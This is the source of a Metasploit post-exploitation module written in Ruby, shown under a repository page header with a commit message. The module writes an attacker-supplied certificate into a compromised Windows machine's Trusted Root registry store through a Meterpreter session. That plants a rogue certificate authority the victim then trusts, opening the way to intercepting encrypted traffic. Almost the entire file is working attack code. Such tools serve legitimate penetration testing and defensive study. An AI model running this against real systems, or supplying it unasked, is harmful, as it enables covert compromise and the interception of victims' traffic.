Michael Schierl
21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
109 lines
3.0 KiB
Ruby
109 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows Manage Certificate Authority Injection',
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'Description' => %q{
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This module allows the attacker to insert an arbitrary CA certificate
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into the victim's Trusted Root store.
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},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])
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], self.class)
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end
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def run
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certfile = datastore['CAFILE']
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# Check file path
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begin
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::File.stat(certfile)
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rescue
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print_error("CAFILE not found")
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return
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end
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cert = ''
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# Load the file
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f = ::File.open(certfile, 'rb')
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cert = f.read(f.stat.size)
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f.close
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loadedcert = OpenSSL::X509::Certificate.new(cert)
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certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)
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certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)
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cskiray = loadedcert.extensions[0].value.gsub(/:/,'').scan(/../)
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derLength = loadedcert.to_der.length.to_s(16)
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if (derLength.length < 4)
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derLength = "0#{derLength}"
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end
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derRay = derLength.scan(/../)
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hexDerLength = [ derRay[1], derRay[0] ]
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certder = loadedcert.to_der.each_byte.collect {|val| "%02X" % val}
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bblob = [ "04", "00", "00", "00", "01", "00", "00", "00", "10", "00", "00", "00" ]
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bblob += certmd5
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bblob += [ "03", "00", "00", "00", "01", "00", "00", "00", "14", "00", "00", "00" ]
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bblob += certsha1
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bblob += [ "14", "00", "00", "00", "01", "00", "00", "00", "14", "00", "00", "00" ]
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bblob += cskiray
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bblob += [ "20", "00", "00", "00", "01", "00", "00", "00" ]
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bblob += hexDerLength
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bblob += [ "00", "00" ]
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bblob += certder
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blob = bblob.map(&:hex).pack("C*")
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cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\\"\]]/,'').gsub(/,/,'').upcase
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catree = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates"
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entire_key = "#{catree}\\#{cleancertsha1}"
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root_key, base_key = client.sys.registry.splitkey(entire_key)
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# Perform the registry operations
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# Ensure the cert doesn't already exist
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begin
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open_key = nil
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open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)
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values = open_key.enum_value
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if (values.length > 0)
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print_error("Key already exists!")
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return
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end
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rescue
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open_key = nil
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open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)
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print_status("Successfully created key: #{entire_key}")
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open_key.set_value('Blob', REG_BINARY, blob)
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print_good("CA inserted!")
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end
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end
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end
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